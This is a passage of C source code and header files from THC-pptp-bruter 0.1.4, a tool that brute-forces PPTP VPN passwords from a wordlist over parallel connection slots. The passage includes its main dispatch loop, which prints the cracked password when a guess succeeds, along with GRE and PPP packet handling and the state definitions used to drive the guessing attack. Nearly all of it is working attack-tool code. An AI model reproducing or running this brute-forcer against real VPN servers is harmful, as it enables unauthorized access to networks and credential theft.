Timeout is handled at beginning */ if (n == 0) { continue; } if (FD_ISSET(pptp.sox, &rfds)) { ret = pptp_read(&pptp, buf, sizeof buf); //DEBUGF("pptp_read returned %d\n", ret); /* FIXME: reestablish connection! */ if (ret < 0) { printf("pptp connection dropped after %u tries!\n", opt.tries); printf("Trying to reconnect....\n"); pptp_reconnect(gre_fd, &pptp); printf("Restarting %d running slots of %d available slots...\n", slots_running, opt.n_slots); for (i = 0; i < opt.n_slots; i++) if (slots[i].state >= SLOT_STATE_RESTARTABLE) slot_restart(&pptp, &slots[i]); continue; } if (ret > 0) dispatch(gre_fd, &pptp, buf, ret); } while (FD_ISSET(gre_fd, &rfds)) { ret = gre_read(gre_fd, buf, sizeof buf, &call_id); //DEBUGF("GRE has something for me (ret = %d), call_id %d\n", ret, call_id); if (ret < 0) ERREXIT("gre_read socket closed. Firewall?\n"); /* More data to read */ if (ret == 0) break; slot = slot_lookup(call_id); /* FIXME: Must terminate LCP connectiopn */ if (!slot) { /* If term req then just ack it. */ /* Send terminate request. * Reply with LCP-ACK on TERM-ACK */ break; } ret = gre_process(&slot->gre, buf, ret); if (ret < 0) { DEBUGF("recevied illegal PACKET (ret: %d)\n", ret); break; } /* ACK received. Never retransmit last packet */ if (ret == 0) { DEBUGF("ACK RECEIVED, DESTROYING RESEND QUEUE..\n"); slot->due.tv_sec += 99999; break; } if (gre_dispatch(gre_fd, &pptp, slot, buf, ret) == -1) { show_status(); printf("Password is '%s'\n", slot->password); exit(0); } break; } } exit(0); return 0; } THC-pptp-bruter-0.1.4/src/pptp_bruter.h0000644000175000017500000000263610100116434016077 0ustar 00000000000000/* * $Id:$ */ #ifndef __PPTP_BRUTER_H__ #define __PPTP_BRUTER_H__ 1 #include #include "pptp_gre.h" #define PPTP_BRUTER_MAX_SLOTS (1024) #define PPTP_BRUTER_DFL_LIMIT (100) struct _opt { int n_slots; FILE *wordlistfp; unsigned char *user; unsigned char *host; unsigned short int port; unsigned int limit; unsigned int tries; struct timeval start; struct timeval status_due; struct timeval pwd_due; /* when next pwd should be taken */ struct timeval pwd_delta; /* take pwd ever pwd_delta sec. */ struct timeval tv_now; unsigned char flags; }; #define OPT_FLAGS_WINDOWSHACK (0x01) #define OPT_FLAGS_VERBOSE (0x02) struct _slot { GRE gre; int state; struct timeval due; struct timeval due_global; struct timeval start; char password[32]; unsigned char retrans_timeout; unsigned char challenge[16]; unsigned short lcp_id; }; #define SLOT_STATE_NONE (0) #define SLOT_STATE_WAIT_TERM_ACK (1) /* All down here means restart them */ #define SLOT_STATE_RESTARTABLE (2) #define SLOT_STATE_WAIT_CID (2) /* Waiting for caller id on 1723 */ #define SLOT_STATE_PPTP_CFGREQ_SENT (3) /* Sent gre packet with cfg-req */ #define SLOT_STATE_RESPONSE_SENT (4) #define SLOT_STATE_FAILURE_RECV (5) #define SLOT_STATE_CHL_RECV (6) #define SLOT_STATE_CONF_RECV (7) //#define SLOT_STATE_FINISHED (3) /* no passwords anymore ?! */ void hexdump(unsigned char *ptr, int len); #endif /* !__PPTP_BRUTER_H__ */ THC-pptp-bruter-0.1.4/src/pptp_gre.c0000644000175000017500000001305310100131635015337 0ustar 00000000000000/* * $Id:$ */ #include "common.h" #include #include #include #include #include #include #include "pptp_bruter.h" #include "pptp_gre.h" extern struct _opt opt; int GRE_init(GRE *gre) { memset(gre, 0, sizeof *gre); //gre->seq_sent = 0; gre->seq_recv = -1; return 0; } /* * Read GRE data from socket. * This function also reorders GRE packets on its own. * * FIXME: first check buffer if there are GRE packets in the queue. * FIXME: should we handle out of order GRE packets or just assume * them as discarded? * * Yes, for receiving packets we must check ack number and free * gre slot with tha tbuffered packet. * * We dont really need send buffer. we just retransmit anyway * if we dont get a proper answer to a packet. */ int gre_read(int fd, unsigned char *buf, unsigned int len, unsigned short *call_id) { struct _pptp_gre_header *header; int ip_len = 0; int ret; int hdrsize; ret = read(fd, buf, len); //DEBUGF("read(,,%d) returned %d\n", len, ret); if (ret <= 0) return -1; /* Strip of IP header if present */ if ((buf[0] & 0xf0) == 0x40) { ip_len = (buf[0] & 0x0f) * 4; if (ip_len >= ret) return 0; ret -= ip_len; memmove(buf, buf + ip_len, ret); } /* UNFINSIHED READ. Kernel should not return before full packet recv. */ /* Packet can be without SEQ or without ACK number */ if (ret < sizeof *header - 4) { DEBUGF("FATAL: short GRE packet read (%d). CANT HAPPEN.\n", ret); return 0; } hdrsize = sizeof *header; header = (struct _pptp_gre_header *)(buf); if (!PPTP_GRE_IS_A(header->ver)) hdrsize -= sizeof header->ack; if (!PPTP_GRE_IS_S(header->flags)) hdrsize -= sizeof header->ack; if (ret - hdrsize < ntohs(header->payload_len)) { DEBUGF("Discarding truncated packet. (is %d, should %d)\n", ret - hdrsize, ntohs(header->payload_len)); return 0; } *call_id = ntohs(header->call_id); return ret; } int gre_process(GRE *gre, unsigned char *buf, unsigned int len) { struct _pptp_gre_header *header = (struct _pptp_gre_header *)(buf); unsigned int seq = 0; /* Either ACK or SEQ must be set */ if ((!PPTP_GRE_IS_A(header->ver)) && (!PPTP_GRE_IS_S(header->flags))) return -8; /* RFC says seq must start with 1. Windows anyway starts with 0 */ /* Accept packet with _smaller_ or equal + 1 seq number of what * we already received. Smaller because the peer might sent in * parallel a lot of packets out and all ACK's might have get * lost. Retransmit answer then. Peer ignores packet if already * received (hopefully!). */ #if 0 if (PPTP_GRE_IS_A(header->ver)) { if (PPTP_GRE_IS_S(header->flags)) ack = ntohl(header->ack); else ack = ntohl(header->seq); } #endif if ((gre) && (PPTP_GRE_IS_S(header->flags))) { seq = ntohl(header->seq); if (((gre->seq_recv == -1) && (seq > 1)) || ((gre->seq_recv > 0) && ((seq > gre->seq_recv + 1)))) { DEBUGF("Discarding out of order packet (seq = %d, expect %d)\n", seq, gre->seq_recv + 1); return -7; } gre->seq_recv = seq; } /* Sanity checking if this is our packet */ if ((header->ver & 0x7f) != PPTP_GRE_VER) return -1; if (ntohs(header->protocol) != PPTP_GRE_PROTO) return -2; if (PPTP_GRE_IS_C(header->flags)) return -3; if (PPTP_GRE_IS_R(header->flags)) return -4; if (!(PPTP_GRE_IS_K(header->flags))) return -5; if ((header->flags & 0x0f) != 0) return -6; /* Ack without payload */ if ((!PPTP_GRE_IS_S(header->flags)) && (PPTP_GRE_IS_A(header->ver))) return 0; /* ack without payload */ return len; } /* */ int gre_write(int fd, GRE *gre, void *data, unsigned int len) { int header_len; int ret; if (data == NULL) len = 0; gre->u.header.flags = PPTP_GRE_FLAG_K; gre->u.header.ver = PPTP_GRE_VER; gre->u.header.protocol = htons(PPTP_GRE_PROTO); gre->u.header.payload_len = htons(len); gre->u.header.call_id = htons(gre->peer_call_id); if (data) { gre->u.header.flags |= PPTP_GRE_FLAG_S; gre->u.header.seq = htonl(++gre->seq_sent); } header_len = sizeof gre->u.header; /* Look at this windows crap shit. Sequence number * field is used for ack number if no data is send and this * is an empty ack package. */ if (data == NULL) { gre->u.header.ver |= PPTP_GRE_FLAG_A; gre->u.header.seq = htonl(gre->seq_recv); header_len -= sizeof gre->u.header.ack; } else { if ((gre->seq_recv >= 0) && (gre->ack_sent != gre->seq_recv)) { gre->u.header.ver |= PPTP_GRE_FLAG_A; gre->u.header.ack = htonl(gre->seq_recv); gre->ack_sent = gre->seq_recv; } else { header_len -= sizeof gre->u.header.ack; } } if (header_len + len > sizeof gre->u.wbuf) return 0; /* We sometimes send the same buffer just with differen SEQ again */ if (data != gre->u.wbuf + header_len) memcpy(gre->u.wbuf + header_len, data, len); DEBUGF("passed len: %d, header_len: %d, SEQ %d\n", len, header_len, gre->seq_sent); gre->wlen = header_len + len; ret = write(fd, gre->u.wbuf, gre->wlen); if (ret < 0) return -1; #if 0 gettimeofday(&gre->last_sent, NULL); #endif if (ret != header_len + len) { /* when can this happen on a blocking fd?\ */ DEBUGF("FATAL: write could write everything to GRE\n"); return -1; return 0; } return ret; } /* * Open a GRE socket to peer. IP is NBO. */ int pptp_gre_bind(unsigned int ip) { struct sockaddr_in addr; int s; s = socket(AF_INET, SOCK_RAW, PPTP_PROTO); if (s < 0) return -1; memset(&addr, 0, sizeof addr); addr.sin_family = AF_INET; addr.sin_addr.s_addr = ip; addr.sin_port = 0; if (connect(s, (struct sockaddr *)&addr, sizeof addr) < 0) { close(s); return -1; } return s; } THC-pptp-bruter-0.1.4/src/pptp_gre.h0000644000175000017500000000456310077172713015371 0ustar 00000000000000/* * $Id:$ */ #ifndef __PPTP_BRUTER_PPTP_GRE_H__ #define __PPTP_BRUTER_PPTP_GRE_H__ 1 #include #define PPTP_PROTO 47 /* PPTP IP protocol number */ #define HDLC_FLAG 0x7E #define HDLC_ESCAPE 0x7D #define HDLC_TRANSPARENCY 0x20 #define PPTP_GRE_PROTO 0x880B #define PPTP_GRE_VER 0x1 #define PROTO_PPP_LCP 0xc021 /* protocol number */ #define PROTO_PPP_CHL 0xc223 /* Challenge/Response payload */ #define PPTP_GRE_FLAG_C 0x80 #define PPTP_GRE_FLAG_R 0x40 #define PPTP_GRE_FLAG_K 0x20 #define PPTP_GRE_FLAG_S 0x10 #define PPTP_GRE_FLAG_A 0x80 #define PPTP_GRE_FLAG_SET_A(header) (header)->ver | 0x80 #define PPTP_GRE_IS_C(f) ((f)&PPTP_GRE_FLAG_C) #define PPTP_GRE_IS_R(f) ((f)&PPTP_GRE_FLAG_R) #define PPTP_GRE_IS_K(f) ((f)&PPTP_GRE_FLAG_K) #define PPTP_GRE_IS_S(f) ((f)&PPTP_GRE_FLAG_S) #define PPTP_GRE_IS_A(f) ((f)&PPTP_GRE_FLAG_A) /* * It appears that there are teo different types of ppp headers. * A long one, containing address and ctrl, and a short one,just * containing the protocol. */ struct _ppp_header_addr { unsigned char address; unsigned char ctrl; unsigned short protocol; unsigned char payload[0]; }; struct _ppp_header { unsigned short protocol; unsigned char payload[0]; }; struct _ppp_lcp_header { unsigned char code; unsigned char id; unsigned short length; /* payload + ppp_lcp_header */ unsigned char payload[0]; }; struct _pptp_gre_header { unsigned char flags; unsigned char ver; unsigned short protocol; unsigned short payload_len; unsigned short call_id; unsigned int seq; /* can be ACK as well if no SEQ present */ unsigned int ack; }; typedef struct _gre { /* Timeout retransmission buffer as well. We dont want * to retransmit empty ACK's. This works for us because we only * send out empty GRE ACK packets right before we reuse the slot. */ union { struct _pptp_gre_header header; unsigned char wbuf[8196 + sizeof(struct _pptp_gre_header)]; } u; int wlen; unsigned short call_id; unsigned short peer_call_id; int ack_sent; int seq_recv; int seq_sent; struct timeval last_sent; } GRE; int pptp_gre_bind(unsigned int ip); int gre_write(int fd, GRE *gre, void *data, unsigned int len); int gre_read(int fd, unsigned char *buf, unsigned int len, unsigned short *call_id); int gre_process(GRE *gre, unsigned char *buf, unsigned int len); int GRE_init(GRE *gre); #endif /* !__PPTP_BRUTER_PPTP_GRE_H__ */ THC-pptp-bruter-0.1.4/stamp-h.in0000644000175000017500000000001210150315617014465 0ustar 00000000000000timestamp THC-pptp-bruter-0.1.4/TODO0000644000175000017500000000011310100311666013251 0ustar 00000000000000- code reject or similiar if packet with unknown caller id is received. THC-pptp-bruter-0.1.4/VERSION0000644000175000017500000000000610150315155013634 0ustar 000000000000000.1.4